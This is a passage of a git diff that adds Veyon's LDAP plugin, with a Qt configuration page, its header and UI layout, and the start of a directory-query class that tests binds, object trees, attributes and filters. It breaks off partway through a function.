+ + CONNECT_BUTTON_SLOT( testBindInteractively ); + CONNECT_BUTTON_SLOT( testBaseDn ); + CONNECT_BUTTON_SLOT( testNamingContext ); + CONNECT_BUTTON_SLOT( testUserTree ); + CONNECT_BUTTON_SLOT( testGroupTree ); + CONNECT_BUTTON_SLOT( testComputerTree ); + CONNECT_BUTTON_SLOT( testComputerGroupTree ); + + CONNECT_BUTTON_SLOT( testUserLoginAttribute ); + CONNECT_BUTTON_SLOT( testGroupMemberAttribute ); + CONNECT_BUTTON_SLOT( testComputerHostNameAttribute ); + CONNECT_BUTTON_SLOT( testComputerMacAddressAttribute ); + CONNECT_BUTTON_SLOT( testComputerRoomAttribute ); + CONNECT_BUTTON_SLOT( testComputerRoomNameAttribute ); + + CONNECT_BUTTON_SLOT( testUsersFilter ); + CONNECT_BUTTON_SLOT( testUserGroupsFilter ); + CONNECT_BUTTON_SLOT( testComputersFilter ); + CONNECT_BUTTON_SLOT( testComputerGroupsFilter ); + CONNECT_BUTTON_SLOT( testComputerContainersFilter ); + + CONNECT_BUTTON_SLOT( testGroupsOfUser ); + CONNECT_BUTTON_SLOT( testGroupsOfComputer ); + CONNECT_BUTTON_SLOT( testComputerObjectByIpAddress ); + CONNECT_BUTTON_SLOT( testComputerRoomMembers ); + CONNECT_BUTTON_SLOT( testComputerRooms ); + + CONNECT_BUTTON_SLOT( browseCACertificateFile ); + + connect( ui->tlsVerifyMode, QOverload::of( &QComboBox::currentIndexChanged ), ui->tlsCACertificateFile, [=]() { + ui->tlsCACertificateFile->setEnabled( ui->tlsVerifyMode->currentIndex() == LdapConfiguration::TLSVerifyCustomCert ); + } ); +} + + + +LdapConfigurationPage::~LdapConfigurationPage() +{ + delete ui; +} + + + +void LdapConfigurationPage::resetWidgets() +{ + // sanitize configuration + if( m_configuration.serverPort() <= 0 ) + { + m_configuration.setServerPort( 389 ); + } + + FOREACH_LDAP_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); +} + + + +void LdapConfigurationPage::connectWidgetsToProperties() +{ + FOREACH_LDAP_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY) +} + + + +void LdapConfigurationPage::applyConfiguration() +{ +} + + + +void LdapConfigurationPage::testBindInteractively() +{ + testBind( false ); +} + + + +void LdapConfigurationPage::testBaseDn() +{ + if( testBindQuietly() ) + { + qDebug() << "[TEST][LDAP] Testing base DN"; + + LdapDirectory ldapDirectory( m_configuration ); + QStringList entries = ldapDirectory.queryBaseDn(); + + if( entries.isEmpty() ) + { + QMessageBox::critical( this, tr( "LDAP base DN test failed"), + tr( "Could not query the configured base DN. " + "Please check the base DN parameter.\n\n" + "%1" ).arg( ldapDirectory.ldapErrorDescription() ) ); + } + else + { + QMessageBox::information( this, tr( "LDAP base DN test successful" ), + tr( "The LDAP base DN has been queried successfully. " + "The following entries were found:\n\n%1" ). + arg( entries.join('\n') ) ); + } + } +} + + + +void LdapConfigurationPage::testNamingContext() +{ + if( testBindQuietly() ) + { + qDebug() << "[TEST][LDAP] Testing naming context"; + + LdapDirectory ldapDirectory( m_configuration ); + QString baseDn = ldapDirectory.queryNamingContext(); + + if( baseDn.isEmpty() ) + { + QMessageBox::critical( this, tr( "LDAP naming context test failed"), + tr( "Could not query the base DN via naming contexts. " + "Please check the naming context attribute parameter.\n\n" + "%1" ).arg( ldapDirectory.ldapErrorDescription() ) ); + } + else + { + QMessageBox::information( this, tr( "LDAP naming context test successful" ), + tr( "The LDAP naming context has been queried successfully. " + "The following base DN was found:\n%1" ). + arg( baseDn ) ); + } + } +} + + + +void LdapConfigurationPage::testUserTree() +{ + if( testBindQuietly() ) + { + qDebug() << "[TEST][LDAP] Testing user tree"; + + LdapDirectory ldapDirectory( m_configuration ); + ldapDirectory.disableAttributes(); + ldapDirectory.disableFilters(); + int count = ldapDirectory.users().count(); + + reportLdapTreeQueryResult( tr( "user tree" ), count, ldapDirectory.ldapErrorDescription() ); + } +} + + + +void LdapConfigurationPage::testGroupTree() +{ + if( testBindQuietly() ) + { + qDebug() << "[TEST][LDAP] Testing group tree"; + + LdapDirectory ldapDirectory( m_configuration ); + ldapDirectory.disableAttributes(); + ldapDirectory.disableFilters(); + int count = ldapDirectory.groups().count(); + + reportLdapTreeQueryResult( tr( "group tree" ), count, ldapDirectory.ldapErrorDescription() ); + } +} + + + +void LdapConfigurationPage::testComputerTree() +{ + if( testBindQuietly() ) + { + qDebug() << "[TEST][LDAP] Testing computer tree"; + + LdapDirectory ldapDirectory( m_configuration ); + ldapDirectory.disableAttributes(); + ldapDirectory.disableFilters(); + int count = ldapDirectory.computers().count(); + + reportLdapTreeQueryResult( tr( "computer tree" ), count, ldapDirectory.ldapErrorDescription() ); + } +} + + + +void LdapConfigurationPage::testComputerGroupTree() +{ + if( testBindQuietly() ) + { + qDebug() << "[TEST][LDAP] Testing computer group tree"; + + LdapDirectory ldapDirectory( m_configuration ); + ldapDirectory.disableAttributes(); + ldapDirectory.disableFilters(); + int count = ldapDirectory.computerGroups().count(); + + reportLdapTreeQueryResult( tr( "computer group tree" ), count, ldapDirectory.ldapErrorDescription() ); + } +} + + + +void LdapConfigurationPage::testUserLoginAttribute() +{ + QString userFilter = QInputDialog::getText( this, tr( "Enter username" ), + tr( "Please enter a user login name (wildcards allowed) which to query:") ); + if( userFilter.isEmpty() == false ) + { + qDebug() << "[TEST][LDAP] Testing user login attribute for" << userFilter; + + LdapDirectory ldapDirectory( m_configuration ); + ldapDirectory.disableFilters(); + + reportLdapObjectQueryResults( tr( "user objects" ), tr( "user login attribute" ), + ldapDirectory.users( userFilter ), ldapDirectory ); + } +} + + + +void LdapConfigurationPage::testGroupMemberAttribute() +{ + QString groupFilter = QInputDialog::getText( this, tr( "Enter group name" ), + tr( "Please enter a group name whose members to query:") ); + if( groupFilter.isEmpty() == false ) + { + qDebug() << "[TEST][LDAP] Testing group member attribute for" << groupFilter; + + LdapDirectory ldapDirectory( m_configuration ); + ldapDirectory.disableFilters(); + + QStringList groups = ldapDirectory.groups( groupFilter ); + + if( groups.isEmpty() == false ) + { + reportLdapObjectQueryResults( tr( "group members" ), tr( "group member attribute" ), + ldapDirectory.groupMembers( groups.first() ), ldapDirectory ); + } + else + { + QMessageBox::warning( this, tr( "Group not found"), + tr( "Could not find a group with the name \"%1\". " + "Please check the group name or the group " + "tree parameter.").arg( groupFilter ) ); + } + } +} + + + +void LdapConfigurationPage::testComputerHostNameAttribute() +{ + QString computerName = QInputDialog::getText( this, tr( "Enter computer name" ), + tr( "Please enter a computer host name to query:") ); + if( computerName.isEmpty() == false ) + { + if( m_configuration.computerHostNameAsFQDN() && + computerName.contains( '.' ) == false ) + { + QMessageBox::critical( this, tr( "Invalid host name" ), + tr( "You configured computer host names to be stored " + "as fully qualified domain names (FQDN) but entered " + "a host name without domain." ) ); + return; + } + else if( m_configuration.computerHostNameAsFQDN() == false && + computerName.contains( '.') ) + { + QMessageBox::critical( this, tr( "Invalid host name" ), + tr( "You configured computer host names to be stored " + "as simple host names without a domain name but " + "entered a host name with a domain name part." ) ); + return; + } + + qDebug() << "[TEST][LDAP] Testing computer host name attribute"; + + LdapDirectory ldapDirectory( m_configuration ); + ldapDirectory.disableFilters(); + + reportLdapObjectQueryResults( tr( "computer objects" ), tr( "computer host name attribute" ), + ldapDirectory.computers( computerName ), ldapDirectory ); + } +} + + + +void LdapConfigurationPage::testComputerMacAddressAttribute() +{ + QString computerDn = QInputDialog::getText( this, tr( "Enter computer DN" ), + tr( "Please enter the DN of a computer whose MAC address to query:") ); + if( computerDn.isEmpty() == false ) + { + qDebug() << "[TEST][LDAP] Testing computer MAC address attribute"; + + LdapDirectory ldapDirectory( m_configuration ); + ldapDirectory.disableFilters(); + + QString macAddress = ldapDirectory.computerMacAddress( computerDn ); + + reportLdapObjectQueryResults( tr( "computer MAC addresses" ), tr( "computer MAC address attribute" ), + macAddress.isEmpty() ? QStringList() : QStringList( macAddress ), + ldapDirectory ); + } +} + + + +void LdapConfigurationPage::testComputerRoomAttribute() +{ + QString computerRoomName = QInputDialog::getText( this, tr( "Enter computer room name" ), + tr( "Please enter the name of a computer room (wildcards allowed):") ); + if( computerRoomName.isEmpty() == false ) + { + qDebug() << "[TEST][LDAP] Testing computer room attribute for" << computerRoomName; + + LdapDirectory ldapDirectory( m_configuration ); + + reportLdapObjectQueryResults( tr( "computer rooms" ), tr( "computer room attribute" ), + ldapDirectory.computerRooms( computerRoomName ), ldapDirectory ); + } +} + + + +void LdapConfigurationPage::testComputerRoomNameAttribute() +{ + if( m_configuration.computerRoomMembersByAttribute() ) + { + QMessageBox::information( this, tr( "Test not applicable" ), + tr( "Please change the computer room settings to use computer groups " + "or computer containers as computer rooms. Then the " + "specified attribute instead of the common name of computer groups " + "or container objects will be queried. " + "Otherwise you don't need to configure this attribute." ) ); + return; + } + + testComputerRoomAttribute(); +} + + + +void LdapConfigurationPage::testUsersFilter() +{ + qDebug() << "[TEST][LDAP] Testing users filter"; + + LdapDirectory ldapDirectory( m_configuration ); + int count = ldapDirectory.users().count(); + + reportLdapFilterTestResult( tr( "users" ), count, ldapDirectory.ldapErrorDescription() ); +} + + + +void LdapConfigurationPage::testUserGroupsFilter() +{ + qDebug() << "[TEST][LDAP] Testing user groups filter"; + + LdapDirectory ldapDirectory( m_configuration ); + int count = ldapDirectory.userGroups().count(); + + reportLdapFilterTestResult( tr( "user groups" ), count, ldapDirectory.ldapErrorDescription() ); +} + + + +void LdapConfigurationPage::testComputersFilter() +{ + qDebug() << "[TEST][LDAP] Testing computers filter"; + + LdapDirectory ldapDirectory( m_configuration ); + const auto count = ldapDirectory.computers().count(); + + reportLdapFilterTestResult( tr( "computers" ), count, ldapDirectory.ldapErrorDescription() ); +} + + + +void LdapConfigurationPage::testComputerGroupsFilter() +{ + qDebug() << "[TEST][LDAP] Testing computer groups filter"; + + LdapDirectory ldapDirectory( m_configuration ); + int count = ldapDirectory.computerGroups().count(); + + reportLdapFilterTestResult( tr( "computer groups" ), count, ldapDirectory.ldapErrorDescription() ); +} + + + +void LdapConfigurationPage::testComputerContainersFilter() +{ + if( m_configuration.computerRoomMembersByContainer() == false ) + { + QMessageBox::information( this, tr( "Test not applicable" ), + tr( "Please change the computer room settings below to use computer containers " + "as computer rooms. Otherwise you don't need to " + "configure this filter." ) ); + return; + } + + testComputerRooms(); +} + + + +void LdapConfigurationPage::testGroupsOfUser() +{ + QString username = QInputDialog::getText( this, tr( "Enter username" ), + tr( "Please enter a user login name whose group memberships to query:") ); + if( username.isEmpty() == false ) + { + qDebug() << "[TEST][LDAP] Testing groups of user" << username; + + LdapDirectory ldapDirectory( m_configuration ); + + QStringList userObjects = ldapDirectory.users(username); + + if( userObjects.isEmpty() == false ) + { + reportLdapObjectQueryResults( tr( "groups of user" ), tr( "user login attribute or group membership attribute" ), + ldapDirectory.groupsOfUser( userObjects.first() ), ldapDirectory ); + } + else + { + QMessageBox::warning( this, tr( "User not found" ), + tr( "Could not find a user with the name \"%1\". " + "Please check the user name or the user " + "tree parameter.").arg( username ) ); + } + } +} + + + +void LdapConfigurationPage::testGroupsOfComputer() +{ + QString computerHostName = QInputDialog::getText( this, tr( "Enter host name" ), + tr( "Please enter a computer host name whose group memberships to query:") ); + if( computerHostName.isEmpty() == false ) + { + qDebug() << "[TEST][LDAP] Testing groups of computer for" << computerHostName; + + LdapDirectory ldapDirectory( m_configuration ); + + QStringList computerObjects = ldapDirectory.computers(computerHostName); + + if( computerObjects.isEmpty() == false ) + { + reportLdapObjectQueryResults( tr( "groups of computer" ), tr( "computer host name attribute or group membership attribute" ), + ldapDirectory.groupsOfComputer( computerObjects.first() ), ldapDirectory ); + } + else + { + QMessageBox::warning( this, tr( "Computer not found" ), + tr( "Could not find a computer with the host name \"%1\". " + "Please check the host name or the computer tree " + "parameter.").arg( computerHostName ) ); + } + } +} + + + +void LdapConfigurationPage::testComputerObjectByIpAddress() +{ + QString computerIpAddress = QInputDialog::getText( this, tr( "Enter computer IP address" ), + tr( "Please enter a computer IP address which to resolve to an computer object:") ); + if( computerIpAddress.isEmpty() == false ) + { + qDebug() << "[TEST][LDAP] Testing computer object resolve by IP address" << computerIpAddress; + + LdapDirectory ldapDirectory( m_configuration ); + + QString computerName = ldapDirectory.hostToLdapFormat( computerIpAddress ); + + qDebug() << "[TEST][LDAP] Resolved IP address to computer name" << computerName; + + if( computerName.isEmpty() ) + { + QMessageBox::critical( this, tr( "Host name lookup failed" ), + tr( "Could not lookup host name for IP address %1. " + "Please check your DNS server settings." ).arg( computerIpAddress ) ); + } + else + { + reportLdapObjectQueryResults( tr( "computers" ), tr( "computer host name attribute" ), + ldapDirectory.computers( computerName ), ldapDirectory ); + } + + } +} + + + +void LdapConfigurationPage::testComputerRoomMembers() +{ + QString computerRoomName = QInputDialog::getText( this, tr( "Enter computer room name" ), + tr( "Please enter the name of a computer room whose members to query:") ); + if( computerRoomName.isEmpty() == false ) + { + qDebug() << "[TEST][LDAP] Testing computer room members for" << computerRoomName; + + LdapDirectory ldapDirectory( m_configuration ); + reportLdapObjectQueryResults( tr( "computer room members" ), + tr( "computer group filter or computer room member aggregation" ), + ldapDirectory.computerRoomMembers( computerRoomName ), ldapDirectory ); + } +} + + + +void LdapConfigurationPage::testComputerRooms() +{ + qDebug() << "[TEST][LDAP] Querying all computer rooms"; + + LdapDirectory ldapDirectory( m_configuration ); + reportLdapObjectQueryResults( tr( "computer rooms" ), + tr( "computer group filter or computer room member aggregation" ), + ldapDirectory.computerRooms(), ldapDirectory ); +} + + + +void LdapConfigurationPage::browseCACertificateFile() +{ + auto caCertFile = QFileDialog::getOpenFileName( this, tr( "Custom CA certificate file" ), QString(), + tr( "Certificate files (*.pem)" ) ); + if( caCertFile.isEmpty() == false ) + { + ui->tlsCACertificateFile->setText( caCertFile ); + } +} + + + +bool LdapConfigurationPage::testBind( bool quiet ) +{ + qDebug() << "[TEST][LDAP] Testing bind"; + + LdapDirectory ldapDirectory( m_configuration ); + + if( ldapDirectory.isConnected() == false ) + { + QMessageBox::critical( this, tr( "LDAP connection failed"), + tr( "Could not connect to the LDAP server. " + "Please check the server parameters.\n\n" + "%1" ).arg( ldapDirectory.ldapErrorDescription() ) ); + } + else if( ldapDirectory.isBound() == false ) + { + QMessageBox::critical( this, tr( "LDAP bind failed"), + tr( "Could not bind to the LDAP server. " + "Please check the server parameters " + "and bind credentials.\n\n" + "%1" ).arg( ldapDirectory.ldapErrorDescription() ) ); + } + else if( quiet == false ) + { + QMessageBox::information( this, tr( "LDAP bind successful"), + tr( "Successfully connected to the LDAP " + "server and performed an LDAP bind. " + "The basic LDAP settings are " + "configured correctly." ) ); + } + + return ldapDirectory.isConnected() && ldapDirectory.isBound(); +} + + + + +void LdapConfigurationPage::reportLdapTreeQueryResult(const QString &name, int count, const QString &errorDescription) +{ + if( count <= 0 ) + { + QMessageBox::critical( this, tr( "LDAP %1 test failed").arg( name ), + tr( "Could not query any entries in configured %1. " + "Please check the %1 parameter.\n\n" + "%2" ).arg( name, errorDescription ) ); + } + else + { + QMessageBox::information( this, tr( "LDAP %1 test successful" ).arg( name ), + tr( "The %1 has been queried successfully and " + "%2 entries were found." ).arg( name ).arg( count ) ); + } +} + + + + + +void LdapConfigurationPage::reportLdapObjectQueryResults( const QString &objectsName, const QString& parameterName, + const QStringList& results, const LdapDirectory &directory ) +{ + if( results.isEmpty() ) + { + QMessageBox::critical( this, tr( "LDAP %1 test failed").arg( parameterName ), + tr( "Could not query any %1. " + "Please check the %2 parameter or enter the name of an existing object.\n\n" + "%3" ).arg( objectsName, parameterName, directory.ldapErrorDescription() ) ); + } + else + { + QMessageBox::information( this, tr( "LDAP %1 test successful" ).arg( parameterName ), + tr( "%1 %2 have been queried successfully:\n\n%3" ). + arg( results.count() ). + arg( objectsName, formatResultsString( results ) ) ); + } +} + + + + + +void LdapConfigurationPage::reportLdapFilterTestResult( const QString &filterObjects, int count, const QString &errorDescription ) +{ + if( count <= 0 ) + { + QMessageBox::critical( this, tr( "LDAP filter test failed"), + tr( "Could not query any %1 using the configured filter. " + "Please check the LDAP filter for %1.\n\n" + "%2" ).arg( filterObjects, errorDescription ) ); + } + else + { + QMessageBox::information( this, tr( "LDAP filter test successful" ), + tr( "%1 %2 have been queried successfully using the configured filter." ). + arg( count ).arg( filterObjects ) ); + } +} + + + +QString LdapConfigurationPage::formatResultsString( const QStringList &results ) +{ + switch( results.count() ) + { + case 0: return QString(); + case 1: return results.first(); + case 2: return QStringLiteral( "%1\n%2" ).arg( results[0], results[1] ); + default: break; + } + + return QStringLiteral( "%1\n%2\n[...]" ).arg( results[0], results[1] ); +} diff --git a/plugins/ldap/LdapConfigurationPage.h b/plugins/ldap/LdapConfigurationPage.h new file mode 100644 index 0000000..ca38302 --- /dev/null +++ b/plugins/ldap/LdapConfigurationPage.h @@ -0,0 +1,95 @@ +/* + * LdapConfigurationPage.h - header for the LdapConfigurationPage class + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LDAP_CONFIGURATION_PAGE_H +#define LDAP_CONFIGURATION_PAGE_H + +#include "ConfigurationPage.h" + +class LdapConfiguration; +class LdapDirectory; + +namespace Ui { +class LdapConfigurationPage; +} + +class LdapConfigurationPage : public ConfigurationPage +{ + Q_OBJECT +public: + LdapConfigurationPage( LdapConfiguration& configuration, QWidget* parent = nullptr ); + ~LdapConfigurationPage() override; + + void resetWidgets() override; + void connectWidgetsToProperties() override; + void applyConfiguration() override; + +private slots: + void testBindInteractively(); + void testBaseDn(); + void testNamingContext(); + void testUserTree(); + void testGroupTree(); + void testComputerTree(); + void testComputerGroupTree(); + void testUserLoginAttribute(); + void testGroupMemberAttribute(); + void testComputerHostNameAttribute(); + void testComputerMacAddressAttribute(); + void testComputerRoomAttribute(); + void testComputerRoomNameAttribute(); + void testUsersFilter(); + void testUserGroupsFilter(); + void testComputersFilter(); + void testComputerGroupsFilter(); + void testComputerContainersFilter(); + void testGroupsOfUser(); + void testGroupsOfComputer(); + void testComputerObjectByIpAddress(); + void testComputerRoomMembers(); + void testComputerRooms(); + + void browseCACertificateFile(); + +private: + bool testBindQuietly() + { + return testBind( true ); + } + + bool testBind( bool quiet ); + void reportLdapTreeQueryResult( const QString& name, int count, const QString& errorDescription ); + void reportLdapObjectQueryResults( const QString &objectsName, const QString& parameterName, + const QStringList &results, const LdapDirectory& directory ); + void reportLdapFilterTestResult( const QString &filterObjects, int count, const QString &errorDescription ); + + static QString formatResultsString( const QStringList& results ); + + Ui::LdapConfigurationPage *ui; + + LdapConfiguration& m_configuration; + +}; + +#endif // LDAP_CONFIGURATION_PAGE_H diff --git a/plugins/ldap/LdapConfigurationPage.ui b/plugins/ldap/LdapConfigurationPage.ui new file mode 100644 index 0000000..b2a376b --- /dev/null +++ b/plugins/ldap/LdapConfigurationPage.ui @@ -0,0 +1,1119 @@ + + + LdapConfigurationPage + + + LDAP + + + + :/ldap/application-x-kexi-connectiondata.png:/ldap/application-x-kexi-connectiondata.png + + + + 0 + + + 0 + + + + + 0 + + + + Basic settings + + + + + + General + + + + + + + + Anonymous bind + + + true + + + bindConfigurationGroup + + + + + + + Use bind credentials + + + bindConfigurationGroup + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + + + Bind DN + + + + + + + 65536 + + + 389 + + + + + + + Bind password + + + + + + + + + + false + + + QLineEdit::Password + + + + + + + LDAP server and port + + + + + + + false + + + + + + + + + + Connection security + + + + + + TLS certificate verification + + + + + + + false + + + + + + + Encryption protocol + + + + + + + + System defaults + + + + + Never (insecure!) + + + + + Custom CA certificate file + + + + + + + + + None + + + + + TLS + + + + + SSL + + + + + + + + + :/resources/document-open.png:/resources/document-open.png + + + + + + + Custom CA certificate file + + + + + + + + + + Base DN + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Fixed base DN + + + true + + + baseDnConfigGroup + + + + + + + e.g. dc=example,dc=org + + + + + + + Discover base DN by naming context + + + baseDnConfigGroup + + + + + + + false + + + e.g. namingContexts or defaultNamingContext + + + + + + + false + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + Environment settings + + + + + + Object trees + + + + + + e.g. OU=Users + + + + + + + Computer tree + + + + + + + e.g. OU=Groups + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Perform recursive search operations in object trees + + + + + + + Group tree + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Computer group tree + + + + + + + User tree + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + e.g. OU=Computers + + + + + + + (only if different from group tree) + + + + + + + + + + Object attributes + + + + + + e.g. member or memberUid + + + + + + + e.g. name or description + + + + + + + User login attribute + + + + + + + Computer MAC address attribute + + + + + + + Computer room attribute + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + e.g. room or computerLab + + + + + + + Computer host name attribute + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + + + + Group member attribute + + + + + + + e.g. uid or sAMAccountName + + + + + + + e.g. hwAddress + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Computer room name attribute + + + + + + + e.g. dNSHostName + + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + Advanced settings + + + + + + Optional object filters + + + + + + Filter for computer groups + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + e.g. (objectClass=computer) + + + + + + + e.g. (objectClass=group) + + + + + + + e.g. (objectClass=person) + + + + + + + Filter for users + + + + + + + Filter for computers + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + Filter for user groups + + + + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + + + + Filter for computer containers + + + + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + + + + Test + + + + :/ldap/dialog-ok-apply.png:/ldap/dialog-ok-apply.png + + + + + + + + + + Group member identification + + + + + + Distinguished name (Samba/AD) + + + true + + + groupMemberMatchingGroup + + + + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + groupMemberMatchingGroup + + + + + + + + + + Computer rooms + + + + + + Aggregate computers in a room via: + + + + + + + Computer groups + + + true + + + computerGroupingGroup + + + + + + + Computer containers or OUs + + + computerGroupingGroup + + + + + + + Computer room attribute in computer objects + + + computerGroupingGroup + + + + + + + + + + Qt::Vertical + + + QSizePolicy::MinimumExpanding + + + + 20 + 0 + + + + + + + + + Integration tests + + + + + + List all groups of a user + + + + :/ldap/user-group-properties.png:/ldap/user-group-properties.png + + + + + + + List all groups of a computer + + + + :/ldap/computer.png:/ldap/computer.png + + + + + + + Get computer object by IP address + + + + :/ldap/computer.png:/ldap/computer.png + + + + + + + List all members of a computer room + + + + :/ldap/configure.png:/ldap/configure.png + + + + + + + List all computer rooms + + + + :/ldap/distribute-vertical-margin.png:/ldap/distribute-vertical-margin.png + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + + + tabWidget + serverHost + serverPort + anonymousBind + useBindCredentials + testBindInteractively + bindDn + bindPassword + connectionSecurity + tlsVerifyMode + tlsCACertificateFile + browseCACertificateFile + isFixedBaseDn + baseDn + testBaseDn + queryNamingContext + namingContextAttribute + testNamingContext + userTree + groupTree + computerTree + computerGroupTree + testUserTree + testGroupTree + testComputerTree + testComputerGroupTree + recursiveSearchOperations + userLoginAttribute + groupMemberAttribute + computerHostNameAttribute + computerHostNameAsFQDN + computerMacAddressAttribute + computerRoomAttribute + computerRoomNameAttribute + testUserLoginAttribute + testGroupMemberAttribute + testComputerHostNameAttribute + testComputerMacAddressAttribute + testComputerRoomAttribute + testComputerRoomNameAttribute + usersFilter + userGroupsFilter + computersFilter + computerGroupsFilter + computerContainersFilter + testUsersFilter + testUserGroupsFilter + testComputersFilter + testComputerGroupsFilter + testComputerContainersFilter + identifyGroupMembersByDN + identifyGroupMembersByNameAttribute + computerRoomMembersByGroups + computerRoomMembersByContainer + computerRoomMembersByAttribute + testGroupsOfUser + testGroupsOfComputer + testComputerObjectByIpAddress + testComputerRoomMembers + testComputerRooms + + + + + + + + + + useBindCredentials + toggled(bool) + bindPassword + setEnabled(bool) + + + 506 + 142 + + + 842 + 241 + + + + + useBindCredentials + toggled(bool) + bindDn + setEnabled(bool) + + + 506 + 142 + + + 842 + 193 + + + + + isFixedBaseDn + toggled(bool) + testBaseDn + setEnabled(bool) + + + 467 + 423 + + + 825 + 425 + + + + + queryNamingContext + toggled(bool) + namingContextAttribute + setEnabled(bool) + + + 467 + 474 + + + 730 + 475 + + + + + isFixedBaseDn + toggled(bool) + baseDn + setEnabled(bool) + + + 467 + 423 + + + 730 + 424 + + + + + queryNamingContext + toggled(bool) + testNamingContext + setEnabled(bool) + + + 467 + 474 + + + 825 + 476 + + + + + isLdapIntegrationEnabled + toggled(bool) + tabWidget + setEnabled(bool) + + + 97 + 12 + + + 237 + 319 + + + + + + + + + + + diff --git a/plugins/ldap/LdapDirectory.cpp b/plugins/ldap/LdapDirectory.cpp new file mode 100644 index 0000000..88a3927 --- /dev/null +++ b/plugins/ldap/LdapDirectory.cpp @@ -0,0 +1,900 @@ +/* + * LdapDirectory.cpp - class representing the LDAP directory and providing access to directory entries + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "LdapConfiguration.h" +#include "LdapDirectory.h" + +#include "ldapconnection.h" +#include "ldapoperation.h" +#include "ldapserver.h" +#include "ldapdn.h" + + +class LdapDirectory::LdapDirectoryPrivate +{ +public: + LdapDirectoryPrivate() = default; + + QStringList queryAttributes(const QString &dn, const QString &attribute, + const QString& filter = QStringLiteral( "(objectclass=*)" ), + KLDAP::LdapUrl::Scope scope = KLDAP::LdapUrl::Base ) + { + QStringList entries; + + if( state != Bound && reconnect() == false ) + { + qCritical( "LdapDirectory::queryAttributes(): not bound to server!" ); + return entries; + } + + if( dn.isEmpty() && attribute != namingContextAttribute ) + { + qCritical( "LdapDirectory::queryAttributes(): DN is empty!" ); + return entries; + } + + if( attribute.isEmpty() ) + { + qCritical( "LdapDirectory::queryAttributes(): attribute is empty!" ); + return entries; + } + + int result = -1; + int id = operation.search( KLDAP::LdapDN( dn ), scope, filter, QStringList( attribute ) ); + + if( id != -1 ) + { + bool isFirstResult = true; + QString realAttributeName = attribute.toLower(); + + while( ( result = operation.waitForResult( id, LdapQueryTimeout ) ) == KLDAP::LdapOperation::RES_SEARCH_ENTRY ) + { + if( isFirstResult ) + { + isFirstResult = false; + + // match attribute name from result with requested attribute name in order + // to keep result aggregation below case-insensitive + const auto attributes = operation.object().attributes(); + for( auto it = attributes.constBegin(), end = attributes.constEnd(); it != end; ++it ) + { + if( it.key().toLower() == realAttributeName ) + { + realAttributeName = it.key(); + break; + } + } + } + + // convert result list from type QList to QStringList + const auto values = operation.object().values( realAttributeName ); + for( const auto& value : values ) + { + entries += value; + } + } + + qDebug() << "LdapDirectory::queryAttributes(): results:" << entries; + } + + if( result == -1 ) + { + qWarning() << "LDAP search failed with code" << connection.ldapErrorCode(); + + if( state == Bound && queryRetry == false ) + { + // close connection and try again + queryRetry = true; + state = Disconnected; + entries = queryAttributes( dn, attribute, filter, scope ); + queryRetry = false; + } + } + + return entries; + } + + QStringList queryDistinguishedNames( const QString& dn, const QString& filter, KLDAP::LdapUrl::Scope scope ) + { + QStringList distinguishedNames; + + if( state != Bound && reconnect() == false ) + { + qCritical() << "LdapDirectory::queryDistinguishedNames(): not bound to server!"; + return distinguishedNames; + } + + if( 